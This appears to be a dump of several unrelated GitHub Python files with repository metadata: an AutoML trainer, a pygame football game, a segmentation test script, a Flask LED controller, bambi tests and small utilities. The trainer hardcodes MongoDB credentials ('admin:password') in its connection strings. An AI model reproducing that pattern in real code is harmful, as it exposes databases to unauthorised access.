target\n self.data.split_data_to_features_and_target(self.target)\n\n # Shift target column\n self.data.shift_target(self.config['future_predictions'])\n\n # Save column names of data\n self.data.columns = self.data.train_X.columns\n\n def train(self):\n # Get model type\n for model_name in self.config['algorithms'].keys():\n params = self.config['algorithms'][model_name]\n\n if model_name == 'XGBoost':\n self.models[model_name] = XGBRegressor(**params)\n elif model_name == 'LGBM':\n self.models[model_name] = LGBMRegressor(**params)\n elif model_name == 'LinearRegression':\n self.models[model_name] = LinearRegressor(**params)\n\n if isinstance(params[list(params.keys())[1]], list):\n # Get the search params\n search_params = {}\n for param in params.keys():\n # check if array contain numbers and if yes then create a range\n if isinstance(params[param][0], int) or isinstance(params[param][0], float):\n # If model is LGBM then add the prefix estimator__\n if model_name == 'LGBM':\n search_params['estimator__' + param] = np.arange(params[param][0], params[param][1], params[param][2])\n else:\n search_params[param] = np.arange(params[param][0], params[param][1], params[param][2])\n else:\n if model_name == 'LGBM':\n search_params['estimator__' + param] = params[param]\n else:\n search_params[param] = params[param]\n \n search_method = RandomSearch(self.data.train_X, model_name, search_params)\n search_method.fit(self.data.train_X, self.data.train_y)\n\n if model_name == 'LGBM':\n # Remove the prefix estimator__ from the best params\n best_params = {}\n for param in search_method.get_best_params().keys():\n best_params[param.split('__')[1]] = search_method.get_best_params()[param]\n \n self.models[model_name].fit(self.data.train_X, self.data.train_y, **best_params)\n else:\n self.models[model_name].fit(self.data.train_X, self.data.train_y, **search_method.get_best_params())\n else:\n self.models[model_name].fit(self.data.train_X, self.data.train_y)\n \n # y_pred_train = self.models[model_name].predict(self.data.train_X)\n y_pred_test = self.models[model_name].predict(self.data.test_X)\n evaluation = self.models[model_name].evaluation_metrics(self.data.test_y, y_pred_test)\n\n # Unscaled data\n # y_pred_train = self.data.target_scaler.inverse_transform(y_pred_train)[:,0]\n y_pred_test = self.data.target_scaler.inverse_transform(y_pred_test)[:,0]\n\n\n self.results[model_name + \"_\" + self.target] = {}\n # self.results[model_name + \"_\" + self.target]['predictions'] = pa.Table.from_pandas(temp_df)\n # Assing the predictions to the results as a dictionary\n # Keys are timestamps and values are the predictions\n # convert timestamps to int\n # self.results[model_name + \"_\" + self.target]['predictions'] = dict(zip(np.array([timestamp.timestamp() for timestamp in self.data.train_X.index.tolist()]), y_pred_train.tolist()))\n self.results[model_name + \"_\" + self.target]['predictions'] = dict(zip(np.array([timestamp.timestamp() for timestamp in self.data.test_X.index.tolist()]).astype(int).astype(str), y_pred_test.tolist()))\n self.results[model_name + \"_\" + self.target]['evaluation'] = evaluation\n\n def save_model(self, model_type, model_name, target):\n aggr_dict = {}\n # save the model\n model_path = self.models[model_type].save_model(model_name)\n\n # Add information about the model\n aggr_dict['model_type'] = model_type\n aggr_dict['model_name'] = model_name\n aggr_dict['model_path'] = model_path\n aggr_dict['target'] = target\n aggr_dict['time_interval'] = self.config['time_interval']\n aggr_dict['features'] = self.config['features']\n\n # Add the scaler and convert NaN to 0\n scaler_min = self.data.scaler.min_\n # scaler_min[np.isnan(scaler_min)] = 0\n scaler_scale = self.data.scaler.scale_\n # scaler_scale[np.isnan(scaler_scale)] = 1\n\n # save the scaler information \n aggr_dict['scaler'] = {}\n aggr_dict['scaler']['min'] = scaler_min.tolist()\n aggr_dict['scaler']['scale'] = scaler_scale.tolist()\n aggr_dict['target_scaler'] = {}\n aggr_dict['target_scaler']['min'] = self.data.target_scaler.min_.tolist()\n aggr_dict['target_scaler']['scale'] = self.data.target_scaler.scale_.tolist()\n aggr_dict['feature_names'] = self.data.columns.tolist()\n\n # After preparing the dictionary, save it to the MongoDB\n client = pymongo.MongoClient('mongodb://admin:password@localhost:27017/')\n db = client['more']\n collection = db['meta']\n\n # Insert the document into the collection\n result = collection.insert_one(aggr_dict)\n msg = ''\n # Check if the insertion was successful\n if result.acknowledged:\n print(\"Insertion successful. Inserted document ID:\", result.inserted_id)\n msg = 'Model saved successfully'\n else:\n print(\"Insertion failed.\")\n msg = 'Model saving failed'\n\n # Close the connection to the MongoDB database\n client.close()\n\n return msg\n\n def get_results(self):\n return self.results\n\n\ndef predict(timestamp, date_df, model_name):\n '''\n Predicts the target value for the given timestamp\n timestamp: timestamp for which the prediction is made\n config_dict: config dictionary that include model_type, model_name and target\n '''\n # Load the model if exist or stop the process\n if load_model_and_config(model_name=model_name) is None:\n return None\n else:\n model, config_dict = load_model_and_config(model_name=model_name)\n\n # Get the feature names from the model\n features = config_dict['feature_names']\n\n # First, create empty target column and set timestamp as index\n date_df[config_dict['target']] = [0 for i in range(len(date_df))]\n\n # Get the column Features - if exits\n general_features = pd.DataFrame()\n for column_data in config_dict['features'][\"columnFeatures\"]:\n if column_data[\"columnName\"] == config_dict['target']:\n general_features = get_general_features(timestamp, column_data[\"features\"], config_dict)\n break\n \n # Get the past metrics from the influxdb based on the enabled metrics in the config file\n past_metrics = pd.DataFrame()\n if 'pastMetrics' in config_dict['features']['optionalFeatures']:\n past_metrics = get_past_values(date_df, config_dict)\n\n # Generate the features for the given timestamp based on the model's features\n X = generate_features_new_data(df = date_df, \n config = config_dict, \n past_metrics = past_metrics,\n features = features)\n \n # Add the general features to the dataframe - if exists\n if not general_features.empty:\n X = pd.concat([X, general_features], axis=1)\n\n # Drop the target column\n X = X.drop(config_dict['target'], axis = 1)\n\n # Sort the columns alphabetically\n X = X.reindex(sorted(X.columns), axis=1)\n\n # Scale the features\n scaler = MinMaxScaler()\n target_scaler = MinMaxScaler()\n # assign the scaler data and convert to numbers\n scaler.min_ = [float(element) for element in config_dict['scaler']['min']] \n scaler.scale_ = [float(element) for element in config_dict['scaler']['scale']]\n target_scaler.min_ = config_dict['target_scaler']['min']\n target_scaler.scale_ = config_dict['target_scaler']['scale']\n\n X_scaled = scaler.transform(X)\n\n # Predict the target value\n y_pred = model.predict(X_scaled)\n\n # Unscale the target value and convert to dataframe\n y_pred = target_scaler.inverse_transform(y_pred)[0]\n\n time_interval = config_dict['time_interval']\n next_timestamps = []\n \n # Calculate the next 5 timestamps with 30-minute intervals\n for i in range(1, len(y_pred)+1): # i will be from 1 to 5 (inclusive)\n # Calculate the next timestamp by adding the time interval to the previous timestamp\n if time_interval[-1] == 'm':\n next_timestamp = datetime.fromtimestamp(timestamp / 1000) + timedelta(minutes=int(time_interval[:-1]) * i)\n elif time_interval[-1] == 'h':\n next_timestamp = datetime.fromtimestamp(timestamp / 1000) + timedelta(hours=int(time_interval[:-1]) * i)\n elif time_interval[-1] == 'd':\n next_timestamp = datetime.fromtimestamp(timestamp / 1000) + timedelta(days=int(time_interval[:-1]) * i)\n\n # Append the next timestamp as a Unix timestamp to the list\n next_timestamps.append(int(next_timestamp.timestamp()))\n\n # convert predictions to dictionary - keys: timestamps & values: predictions\n predictions = dict(zip(np.array([timestamp for timestamp in next_timestamps]).astype(str), y_pred.tolist()))\n # y_pred = {'timestamp': y_pred}\n\n # # Convert pandas to pyarrow table schema\n # y_pred = pa.Table.from_pandas(y_pred)\n # schema = y_pred.schema\n\n # # Serialize the schema\n # schema_serialized = schema.serialize().to_pybytes()\n\n return predictions\n\ndef load_model_and_config(model_name):\n '''\n Loads the model and config from the folder by getting the path from mongoDB\n model_name: name of the model - XGBoost_active_power.json\n\n Returns: model and config dictionary\n '''\n # Connect to the MongoDB database\n client = pymongo.MongoClient('mongodb://admin:password@localhost:27017/')\n db = client['more']\n collection = db['meta']\n\n # Get the model information from the MongoDB\n model_info = collection.find_one({'model_name': model_name})\n\n # Close the connection to the MongoDB database\n client.close()\n \n # Check that model exists in the db\n if model_info is None:\n return None\n\n # Otherwise get the model\n if model_info['model_type'] == 'XGBoost':\n model = XGBRegressor()\n model.load_model(model_info['model_path'])\n\n elif model_info['model_type'] == 'LGBM' or model_info['model_type'] == 'LinearRegression':\n model = joblib.load(model_info['model_path'])\n \n return model, model_info\n\ndef get_past_values(timestamp, config_dict):\n '''\n Get the past values from the influxdb - only the desired timestamps\n '''\n client = InfluxDBClient(url=influx_cloud_url, token=influx_cloud_token, org=org)\n\n past_metrics = []\n categories = list(config_dict['features']['optionalFeatures']['pastMetrics'].keys())\n for category in categories:\n category_metrics = config_dict['features']['optionalFeatures']['pastMetrics'][category]\n if len(category_metrics) != 0:\n # create a query in influx to get the target data that start from X - 3hours to X, where X is the timestamp\n if category[4:] == 'Hour':\n start_date = timestamp.index[0] - pd.Timedelta(hours = 3)\n end_date = timestamp.index[0]\n \n elif category[4:] == 'Day':\n start_date = timestamp.index[0] - pd.Timedelta(days = 1) - pd.Timedelta(hours = 3)\n end_date = timestamp.index[0] - pd.Timedelta(days = 1)\n\n elif category[4:] == 'Week':\n start_date = timestamp.index[0] - pd.Timedelta(weeks = 1) - pd.Timedelta(hours = 3)\n end_date = timestamp.index[0] - pd.Timedelta(weeks = 1)\n\n elif category[4:] == 'Month':\n start_date = timestamp.index[0] - pd.Timedelta(months = 1) - pd.Timedelta(hours = 3)\n end_date = timestamp.index[0] - pd.Timedelta(months = 1)\n\n start_date = start_date.strftime('%Y-%m-%dT%H:%M:%SZ')\n # add also one time interval the end date in order to include the last value\n end_date = end_date + pd.Timedelta(minutes = 30) \n end_date = end_date.strftime('%Y-%m-%dT%H:%M:%SZ')\n \n query = f'from(bucket: \"{bucket}\") \\\n |> range(start: {start_date}, stop: {end_date})\\\n |> filter(fn: (r) => r._measurement == \"{kind}\")\\\n |> filter(fn:(r) => r._field == \"{config_dict[\"target\"]}\" )\\\n |> window(every: {config_dict[\"time_interval\"]})\\\n |> mean()'\n \n query_api = client.query_api()\n result = query_api.query(query=query, org=org)\n\n for table in result:\n for record in table.records:\n # append the past metric to the array with its timestamp\n past_metrics.append({\"timestamp\": record['_start'], config_dict['target']: record['_value']})\n \n past_metrics = pd.concat([pd.DataFrame(columns=['timestamp', config_dict['target']]), pd.DataFrame(past_metrics)], ignore_index=True)\n past_metrics['timestamp'] = pd.to_datetime(past_metrics['timestamp'])\n past_metrics = past_metrics.set_index('timestamp') # set the timestamp as index\n past_metrics = past_metrics.sort_index() # sort the index\n\n return past_metrics \n\ndef get_general_features(timestamp, features_array, config_dict):\n client = InfluxDBClient(url=influx_cloud_url, token=influx_cloud_token, org=org)\n\n start_date = datetime.fromtimestamp(timestamp/1000).strftime('%Y-%m-%dT%H:%M:%SZ')\n # start_date = start_date.strftime('%Y-%m-%dT%H:%M:%SZ')\n # end_date = datetime.fromtimestamp(timestamp/1000).strftime('%Y-%m-%dT%H:%M:%SZ')\n end_date = datetime.fromtimestamp(timestamp/1000) + pd.Timedelta(seconds = 1)\n end_date = end_date.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n query = f'from(bucket: \"{bucket}\") \\\n |> range(start: {start_date}, stop: {end_date})\\\n |> filter(fn: (r) => r._measurement == \"{kind}\")\\\n |> filter(fn:(r) => '\n \n for extra_column in features_array:\n query += f'r._field == \"{extra_column}\" or '\n \n # Remove the last or\n query = query[:-4]\n query += ')'\n \n query_api = client.query_api()\n result = query_api.query(query=query, org=org)\n\n results = []\n for table in result:\n for record in table.records:\n results.append({\"timestamp\": record['_start'], record['_field']: record['_value']})\n\n df = pd.DataFrame(results)\n df.set_index('timestamp', inplace=True)\n df.index = df.index.tz_convert(None)\n\n # Group the DataFrame to combine entries with the same timestamp into a single row\n df = df.groupby('timestamp').sum(min_count=1)\n\n return df\n","repo_name":"Dparanou/automl_integration","sub_path":"classes/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":18905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25052355767","text":"#import math\n\ndef solution(score):\n answer = [0] * len(score) #점수 개수만큼 리스트\n #리스트[0] 인덱스 점수 개수만큼 0 넣기\n for i in range(len(score)):\n answer[i] = sum(map(lambda X:X > score[i], score))+1\n #lambda: 람다식[이름없는 함수]\n #lambda 인수: 표현식\n\n #형태: (lambda x, y: x+y)(10,20)\n #인수1, 인수2\n\n #함수 형태: def 함수(x, y):\n # return x+y\n # 함수(10,20)\n\n #map: map(score, list) => 리스트내 점수를 하나씩 반환\n\n return answer\n\nscore1 = [90, 87, 87, 23, 35, 28, 12, 46] #점수 리스트\nret1 = solution(score1)\nprint(\"solution 함수의 반환 값은 \", ret1, \" 입니다.\")\n\nscore2 = [10, 20, 20, 30]\nret2 = solution(score2)\nprint(\"solution 함수의 반환 값은 \", ret2, \" 입니다.\")","repo_name":"krsthg/python3","sub_path":"COS PRO_2/5차시/문제 9.py","file_name":"문제 9.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13578284654","text":"from tkinter import Menu\nimport pygame\n\n# Para iniciar o pygame, sempre começa com esse código\npygame.init()\npygame.font.init() \n\n# Definindo as configurações da janela\nsize_width = 1280 # Eixo X\nsize_height = 720 # Eixo Y\nsize_screen = (size_width,size_height)\nscreen = pygame.display.set_mode(size_screen)\n\n# Titulo que aparece na janela do game\ntitle = pygame.display.set_caption(\"Zodia Games | Z-Football 2022\")\n\n# Icone que aparece na barra de tarefa quando o game estiver aberto\nicon = pygame.image.load('assets/ico.png')\npygame.display.set_icon(icon)\n\n# Fontes\nfont = pygame.font.get_default_font()\nfontsys=pygame.font.SysFont(font, 50) \n\n# Cores\nc_gray = (40,40,40)\nc_white = (255,255,255)\n\n# Carregando arquivos de imagem\nbackground_menu = pygame.image.load(\"assets/mainmenu.jpg\")\nbackground = pygame.image.load(\"assets/field.png\")\nplayer1 = pygame.image.load(\"assets/BRL.png\")\nplayer2 = pygame.image.load(\"assets/ARG.png\")\nball = pygame.image.load(\"assets/ball.png\")\nscore1_img = pygame.image.load(\"assets/score/0.png\")\nscore2_img = pygame.image.load(\"assets/score/0.png\")\nwin = pygame.image.load(\"assets/win-old.png\")\n\n# Definição de variavel de controle\nscore1 = 0\nscore2 = 0\nplayer1_y = 290\nplayer1_y_up = False\nplayer1_y_down = False\nplayer2_y = 290\nplayer2_y_up = False\nplayer2_y_down = False\nball_x = 617\nball_y = 337\nball_direction = 3\nball_direction_Y = 5.3\ngame_run = False\nmenu_run = True\nkick_p1 = True\nkick_p2 = True\n\ndef screen_draw(): # Cria a interface\n if score1 < 10 and score2 < 10:\n screen.blit(background, (0, 0))\n screen.blit(player1, (50, player1_y))\n screen.blit(player2, (1150, player2_y))\n screen.blit(ball, (ball_x, ball_y))\n screen.blit(score1_img, (500, 20))\n screen.blit(score2_img, (710, 20))\n moveball()\n auto_play()\n speedball()\n else: \n screen.blit(win, (300, 300))\n if score1 > score2: \n p1win = pygame.image.load(\"assets/p1win.png\")\n screen.blit(p1win, (300,420))\n else: \n p2win = pygame.image.load(\"assets/p2win.png\")\n screen.blit(p2win, (300,420))\n playagain = fontsys.render(\"Press SPACE to play again\", 1, c_gray)\n screen.blit(playagain, (430,650))\n\ndef auto_play(): # Jogo de demonstração\n global player2_y\n global player1_y\n #player2_y = ball_y\n #player1_y = ball_y\n\ndef slowball(): # Reduz a velocidade da bola\n global ball_direction\n\n if ball_direction < 0:\n if ball_direction <= -10:\n ball_direction = ball_direction + 5\n else: ball_direction = -5\n else: \n if ball_direction >= 10:\n ball_direction = ball_direction - 5\n else: ball_direction = 5\n\ndef speedball(): # Aumenta a velocidade da bola\n global ball_direction\n\n maxspeed_x = 30\n\n if ball_direction < maxspeed_x and ball_direction > maxspeed_x*-1:\n if ball_direction < 0:\n ball_direction += -0.0075\n elif ball_direction > 0:\n ball_direction += 0.0075 \n\ndef moveball(): # Move a bola + pontuação\n global ball_x\n global ball_y\n global ball_direction\n global ball_direction_Y\n global score1\n global score2\n global score1_img\n global score2_img\n global kick_p1\n global kick_p2\n ball_x += ball_direction\n ball_y += ball_direction_Y\n # Colisão player 1\n if ball_x < 120:\n if player1_y < ball_y + 23:\n if player1_y + 146 > ball_y:\n if kick_p1 == True:\n ball_direction *= -1\n kick_p2 = True\n kick_p1 = False\n # Colisão player 2\n if ball_x > 1110:\n if player2_y < ball_y + 23: # 23\n if player2_y + 146 > ball_y: # 146\n if kick_p2 == True:\n ball_direction *= -1\n kick_p2 = False\n kick_p1 = True\n # Limite do campo\n if ball_y > 687:\n ball_direction_Y *= -1\n elif ball_y <= 0:\n ball_direction_Y *= -1\n # Reset posição bola + pontuação\n if ball_x < 81: #120px limite - metade da largura da imagem (39px)\n ball_x = 617\n ball_y = 337\n kick_p2 = True\n kick_p1 = True\n ball_direction *= -1\n ball_direction_Y *= -1\n score2 += 1\n score2_img = pygame.image.load(f'assets/score/{score2}.png')\n slowball()\n elif ball_x > 1149: #1110px limite + metade da largura da imagem (39px)\n ball_x = 617\n ball_y = 337\n kick_p2 = True\n kick_p1 = True\n ball_direction *= -1\n ball_direction_Y *= -1 \n score1 += 1 \n score1_img = pygame.image.load(f'assets/score/{score1}.png')\n slowball()\n\ndef moveplayer(arg): # Move os jogadores\n if arg == 1:\n player = player1_y\n player_up = player1_y_up\n player_down = player1_y_down\n elif arg == 2: \n player = player2_y\n player_up = player2_y_up\n player_down = player2_y_down\n if player_up:\n player -= 10\n else:\n player += 0\n if player_down:\n player += 10\n else:\n player += 0\n if player <= 0:\n player = 0\n elif player >= 575:\n player = 575\n return player\n\ndef restartgame(): # Reinicia o jogo com valores padrão\n global score1\n global score2\n global score1_img\n global score2_img\n global ball_direction\n global kick_p1\n global kick_p2\n score1 = 0\n score2 = 0\n score1_img = pygame.image.load(\"assets/score/0.png\")\n score2_img = pygame.image.load(\"assets/score/0.png\")\n ball_direction = 4\n kick_p1 = True\n kick_p2 = True\n\ndef menu(): # Tela inicial\n global menu_run\n global game_run\n while menu_run:\n for events in pygame.event.get():\n if events.type == pygame.QUIT:\n menu_run = False\n if events.type == pygame.KEYDOWN: # Evento de precionar tecla\n if events.key == pygame.K_RETURN or events.key == pygame.K_KP_ENTER:\n menu_run = False\n game_run = True\n screen.blit(background_menu, (0,0))\n pressstart_txt = fontsys.render(\"< Press ENTER to play >\", 1, c_white)\n screen.blit(pressstart_txt, (430,650))\n pygame.display.flip()\n pygame.time.Clock().tick()\n\ndef game(): # Tela do jogo. Fluxo do jogo\n global game_run\n global menu_run\n global player1_y\n global player2_y\n global player1_y_down\n global player1_y_up\n global player2_y_down\n global player2_y_up\n # Loop do jogo\n while game_run:\n for events in pygame.event.get():\n if events.type == pygame.QUIT:\n game_run = False\n if events.type == pygame.KEYDOWN: # Evento de precionar tecla\n if events.key == pygame.K_w:\n player1_y_up = True\n if events.key == pygame.K_s:\n player1_y_down = True\n if events.key == pygame.K_UP:\n player2_y_up = True\n if events.key == pygame.K_DOWN:\n player2_y_down = True\n if events.key == pygame.K_SPACE and (score1 >= 10 or score2 >=10):\n restartgame()\n if events.type == pygame.KEYUP: # Evento de soltar tecla\n if events.key == pygame.K_w:\n player1_y_up = False\n if events.key == pygame.K_s:\n player1_y_down = False\n if events.key == pygame.K_UP:\n player2_y_up = False\n if events.key == pygame.K_DOWN:\n player2_y_down = False \n screen_draw()\n player1_y = moveplayer(1)\n player2_y = moveplayer(2)\n # Renderiza a tela\n pygame.display.flip()\n # Controla o FPS\n pygame.time.Clock().tick(60)\n\nmenu()\ngame()\n\n\n","repo_name":"omarcosta/ZG-Football","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43251690712","text":"import torch\nimport gc\nimport numpy as np\nimport torch.optim as optim\nimport SimpleITK as sitk\nfrom options.Options import Options_x\nfrom tqdm import tqdm\nfrom Model.runet import RUNet_seg\nfrom torch.utils.data import DataLoader\nfrom utils import logger,util\nfrom utils.metrics import seg_metric\nimport torch.nn as nn\nimport os\nfrom dataset.dataset_lits_test import Test_all_Datasets,Recompone_tool\nfrom collections import OrderedDict\n\ndef load(file):\n itkimage = sitk.ReadImage(file)\n image = sitk.GetArrayFromImage(itkimage)\n return image\n\n\ndef test_all(model_name='model_200.pth'):\n opt = Options_x().parse() # get training options\n device = torch.device('cuda' if torch.cuda.is_available() else \"cpu\")\n\n\n model = RUNet_seg(2,1,16).to(device)\n ckpt = torch.load(opt.checkpoints_dir + '/' + opt.task_name + '/model/' + model_name,map_location=device)\n model.load_state_dict(ckpt['model'])\n\n save_result_path = os.path.join(opt.checkpoints_dir, opt.task_name, 'results')\n util.mkdir(save_result_path)\n model.eval()\n log_test = logger.Test_Logger(save_result_path,\"results\")\n cut_param = {'patch_s': opt.patch_size[0], 'patch_h': opt.patch_size[1], 'patch_w': opt.patch_size[2],\n 'stride_s': opt.patch_stride[0], 'stride_h': opt.patch_stride[1], 'stride_w': opt.patch_stride[2]}\n datasets = Test_all_Datasets(opt.datapath, cut_param)\n\n for img_dataset, original_shape, new_shape, itkimage, file_idx, gt, Whole_breast, breast_erode in datasets:\n save_tool = Recompone_tool(original_shape, new_shape, cut_param)\n dataloader = DataLoader(img_dataset, batch_size=opt.test_batch, num_workers=opt.num_threads, shuffle=False)\n with torch.no_grad():\n for pre,pos in tqdm(dataloader):\n pre,pos = pre.unsqueeze(1).to(device), pos.unsqueeze(1).to(device)\n output = model(pre,pos)\n\n save_tool.add_result(output.detach().cpu())\n\n pred = save_tool.recompone_overlap()\n recon = (pred.numpy() > 0.5).astype(np.uint16)*breast_erode.astype(np.int16)\n\n DSC, PPV, SEN, HD = seg_metric(recon, gt,itkimage)\n\n index_results = OrderedDict({'DSC': DSC,'PPV': PPV,'SEN': SEN,'HD': HD})\n log_test.update(file_idx,index_results)\n\n Pred = sitk.GetImageFromArray(np.array(recon))\n\n sitk.WriteImage(Pred,os.path.join(save_result_path,file_idx+'.nii.gz'))\n del pred,recon,Pred,save_tool,gt\n gc.collect()\n\n\nif __name__ == '__main__':\n test_all('latest_model.pth')\n \n","repo_name":"ZhangJD-ong/Iterative-Cycle-consistent-Semi-supervised-Learning-for-fibroglandular-tissue-segmentation","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"33849551604","text":"import argparse\nfrom PIL import Image\n\ndef rgb_to_redwhiteblack(img_file):\n \"\"\"Convert an image to a 3-color palette suitable for InkyWHAT\"\"\"\n\n # Open the input image file\n img = Image.open(img_file)\n\n # Create a 3-color palette\n pal_img = Image.new(\"P\", (1, 1))\n pal_img.putpalette((255, 255, 255, 0, 0, 0, 255, 0, 0) + (0, 0, 0) * 252)\n\n # Convert the image to the 3 color palette\n img = img.convert(\"RGB\").quantize(palette=pal_img)\n\n return img\n\nif __name__ == \"__main__\":\n# Command line arguments to set display type and colour, and enter your name\n PARSER = argparse.ArgumentParser()\n PARSER.add_argument('--image', '-i', type=str, required=True, help=\"Input image to be converted/displayed\")\n PARSER.add_argument('--out', '-o', type=str, required=False, help=\"Output file\")\n ARGS = PARSER.parse_args()\n IMG = rgb_to_redwhiteblack(ARGS.image)\n OUT = ARGS.__dict__.get(\"out\", \"out.png\")\n IMG.save(OUT)\n","repo_name":"chrislast/whatsup","sub_path":"whatsup/image-cnv.py","file_name":"image-cnv.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"7723461993","text":"from flask import Flask\nfrom flask.ext.socketio import SocketIO, emit\nfrom LEDroom import setColor\nimport json\n\napp = Flask(__name__)\nsocketio = SocketIO(app)\n\n@socketio.on('connect')\ndef slider_connect():\n emit('my response', {'data': 'Connected!'})\n print('Client connected')\n\n@socketio.on('json')\ndef set_colors(colors):\n\tred = int(colors[0]['intensity'])\n\tgreen = int(colors[1]['intensity'])\n\tblue = int(colors[2]['intensity'])\n\tsetColor(red, green, blue)\n\tstoredColor = {\n\t\t'red':red,\n\t\t'green':green,\n\t\t'blue': blue\n\t}\n\twith open('last_color.txt', 'w') as outfile:\n\t\tjson.dump(storedColor, outfile)\n\n@socketio.on('disconnect')\ndef slider_disconnect():\n print('Client disconnected')\n\nif __name__ == \"__main__\":\n\tsocketio.run(app, host='0.0.0.0')\n","repo_name":"baggrey1/LEDroom","sub_path":"bedroomSocket.py","file_name":"bedroomSocket.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4243177513","text":"from os.path import dirname, join\n\nimport numpy as np\nimport pandas as pd\nimport pytest\n\nfrom bambi.models import Model, Term\n\n\n@pytest.fixture(scope=\"module\")\ndef diabetes_data():\n data_dir = join(dirname(__file__), \"data\")\n data = pd.read_csv(join(data_dir, \"diabetes.txt\"), sep=\"\\t\")\n data[\"age_grp\"] = 0\n data.loc[data[\"AGE\"] > 40, \"age_grp\"] = 1\n data.loc[data[\"AGE\"] > 60, \"age_grp\"] = 2\n return data\n\n\n@pytest.fixture(scope=\"module\")\ndef base_model(diabetes_data):\n return Model(diabetes_data)\n\n\ndef test_term_init(diabetes_data):\n model = Model(diabetes_data)\n term = Term(\"BMI\", diabetes_data[\"BMI\"])\n # Test that all defaults are properly initialized\n assert term.name == \"BMI\"\n assert term.categorical == False\n assert not term.random\n assert term.levels is not None\n assert term.data.shape == (442, 1)\n\n\ndef test_distribute_random_effect_over(diabetes_data):\n # Random slopes\n model = Model(diabetes_data)\n model.add(\"BP ~ 1\")\n model.add(random=\"C(age_grp)|BMI\")\n model.build(backend=\"pymc\")\n assert model.terms[\"C(age_grp)[T.1]|BMI\"].data.shape == (442, 163)\n # Nested or crossed random intercepts\n model.reset()\n model.add(\"BP ~ 1\")\n model.add(random=\"0+C(age_grp)|BMI\")\n model.build(backend=\"pymc\")\n assert model.terms[\"C(age_grp)[0]|BMI\"].data.shape == (442, 163)\n # 163 unique levels of BMI in diabetes_data\n\n\ndef test_model_init_from_filename():\n from os.path import dirname, join\n\n data_dir = join(dirname(__file__), \"data\")\n filename = join(data_dir, \"diabetes.txt\")\n model = Model(filename)\n assert isinstance(model.data, pd.DataFrame)\n assert model.data.shape == (442, 11)\n assert \"BMI\" in model.data.columns\n\n\ndef test_model_term_names_property(diabetes_data):\n model = Model(diabetes_data)\n model.add(\"BMI ~ age_grp\")\n model.add(\"BP\")\n model.add(\"S1\")\n model.build(backend=\"pymc\")\n assert model.term_names == [\"Intercept\", \"age_grp\", \"BP\", \"S1\"]\n\n\ndef test_add_to_model(diabetes_data):\n model = Model(diabetes_data)\n model.add(\"BP ~ BMI\")\n model.build(backend=\"pymc\")\n assert isinstance(model.terms[\"BMI\"], Term)\n model.add(\"age_grp\")\n model.build(backend=\"pymc\")\n assert set(model.terms.keys()) == {\"Intercept\", \"BMI\", \"age_grp\"}\n # Test that arguments are passed appropriately onto Term initializer\n model.add(random=\"C(age_grp)|BP\")\n model.build(backend=\"pymc\")\n assert isinstance(model.terms[\"C(age_grp)[T.1]|BP\"], Term)\n assert \"BP[108.0]\" in model.terms[\"C(age_grp)[T.1]|BP\"].levels\n\n\ndef test_one_shot_formula_fit(diabetes_data):\n model = Model(diabetes_data)\n model.fit(\"S3 ~ S1 + S2\", samples=50, run=False)\n model.build(backend=\"pymc3\")\n nv = model.backend.model.named_vars\n targets = [\"S3\", \"S1\", \"Intercept\"]\n assert len(set(nv.keys()) & set(targets)) == 3\n\n\ndef test_invalid_chars_in_random_effect(diabetes_data):\n model = Model(diabetes_data)\n with pytest.raises(ValueError):\n model.fit(random=[\"1+BP|age_grp\"])\n\n\ndef test_add_formula_append(diabetes_data):\n model = Model(diabetes_data)\n model.add(\"S3 ~ 0\")\n model.add(\"S1\")\n model.build(backend=\"pymc\")\n assert hasattr(model, \"y\") and model.y is not None and model.y.name == \"S3\"\n assert \"S1\" in model.terms\n model.add(\"S2\", append=False)\n assert model.y is None\n model.add(\"S3 ~ 0\")\n model.build(backend=\"pymc\")\n assert \"S2\" in model.terms\n assert \"S1\" not in model.terms\n\n\ndef test_derived_term_search(diabetes_data):\n model = Model(diabetes_data)\n model.add(\"BMI ~ 1\", random=\"age_grp|BP\", categorical=[\"age_grp\"])\n model.build(backend=\"pymc\")\n terms = model._match_derived_terms(\"age_grp|BP\")\n names = set([t.name for t in terms])\n assert names == {\"1|BP\", \"age_grp[T.1]|BP\", \"age_grp[T.2]|BP\"}\n\n term = model._match_derived_terms(\"1|BP\")[0]\n assert term.name == \"1|BP\"\n\n # All of these should find nothing\n assert model._match_derived_terms(\"1|ZZZ\") is None\n assert model._match_derived_terms(\"ZZZ|BP\") is None\n assert model._match_derived_terms(\"BP\") is None\n assert model._match_derived_terms(\"BP\") is None\n","repo_name":"mhgcmcc/Bambi_Bayesian-mixed-fit-model","sub_path":"bambi/tests/test_model_construction.py","file_name":"test_model_construction.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15805435101","text":"import ttkbootstrap as ttk\nfrom .utils import create_content_frame\n\nclass QuoteText(ttk.Frame):\n def __init__(self, parent, response_text, response_author, response_tags):\n super().__init__(master=parent)\n self.grid(column=1, row=0, rowspan=3, columnspan=1,\n sticky=\"ns\", padx=10, pady=20)\n self.rowconfigure(0, weight=1, uniform=\"b\")\n for i in range(1, 5):\n self.rowconfigure(i, weight=2, uniform=\"b\")\n\n self.canvas = ttk.Canvas(self, bg=\"#FFFFFF\")\n self.canvas.grid(row=1, column=1, rowspan=2, sticky=\"nsew\")\n self.content_frame = create_content_frame(self.canvas)\n\n self.text_label = ttk.Label(\n self.content_frame,\n textvariable=response_text,\n anchor=\"center\",\n justify=\"center\",\n wraplength=350,\n width=23,\n font=(\"Comic Sans MS\", 20)\n )\n\n self.text_label.pack()\n self.text_label.bind(\n \"\",\n lambda event: parent.on_mousewheel(event, 